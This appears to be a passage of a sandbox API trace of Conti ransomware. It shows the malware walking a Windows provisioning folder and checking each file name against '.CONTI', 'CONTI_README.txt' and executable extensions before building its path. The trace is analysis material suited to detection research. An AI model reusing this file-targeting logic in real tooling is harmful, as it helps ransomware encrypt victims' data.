	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.854] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.854] lstrlenW (lpString="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml") returned 68
	[0106.855] GetProcessHeap () returned 0x1720000
	[0106.855] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17c3220
	[0106.855] lstrcpyW (in: lpString1=0x17c3220, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.855] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.855] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml"
	[0106.855] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="101__C~1.PRO")) returned 1
	[0106.855] lstrcmpiW (lpString1="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0106.855] lstrcmpiW (lpString1="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0106.855] StrStrIW (lpFirst="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.855] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.855] lstrlenW (lpString="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0106.855] GetProcessHeap () returned 0x1720000
	[0106.855] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17bc3e0
	[0106.855] lstrcpyW (in: lpString1=0x17bc3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.855] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.855] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0106.855] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="102__C~1.PRO")) returned 1
	[0106.855] lstrcmpiW (lpString1="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.855] lstrcmpiW (lpString1="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.855] StrStrIW (lpFirst="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.856] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.856] lstrlenW (lpString="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned 76
	[0106.856] GetProcessHeap () returned 0x1720000
	[0106.856] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17c0070
	[0106.856] lstrcpyW (in: lpString1=0x17c0070, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.856] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.856] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml"
	[0106.856] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", cAlternateFileName="103__C~1.PRO")) returned 1
	[0106.856] lstrcmpiW (lpString1="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.856] lstrcmpiW (lpString1="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.856] StrStrIW (lpFirst="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.856] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.856] lstrlenW (lpString="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml") returned 76
	[0106.856] GetProcessHeap () returned 0x1720000
	[0106.856] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17c01c8
	[0106.856] lstrcpyW (in: lpString1=0x17c01c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.856] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.856] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml"
	[0106.856] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="104__C~1.PRO")) returned 1
	[0106.856] lstrcmpiW (lpString1="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.856] lstrcmpiW (lpString1="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.856] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.857] StrStrIW (lpFirst="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.857] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.857] lstrlenW (lpString="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml") returned 69
	[0106.857] GetProcessHeap () returned 0x1720000
	[0106.857] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17c9cd8
	[0106.857] lstrcpyW (in: lpString1=0x17c9cd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.857] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.858] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml"
	[0106.858] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="105__C~1.PRO")) returned 1
	[0106.858] lstrcmpiW (lpString1="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.858] lstrcmpiW (lpString1="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.858] StrStrIW (lpFirst="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.858] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.858] lstrlenW (lpString="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml") returned 70
	[0106.858] GetProcessHeap () returned 0x1720000
	[0106.858] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x181b498
	[0106.858] lstrcpyW (in: lpString1=0x181b498, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.858] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.858] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml"
	[0106.858] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="106__C~1.PRO")) returned 1
	[0106.858] lstrcmpiW (lpString1="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.858] lstrcmpiW (lpString1="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.858] StrStrIW (lpFirst="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.858] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.858] lstrlenW (lpString="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml") returned 65
	[0106.858] GetProcessHeap () returned 0x1720000
	[0106.859] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x181b5e8
	[0106.859] lstrcpyW (in: lpString1=0x181b5e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.859] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.859] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml"
	[0106.859] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="107__C~1.PRO")) returned 1
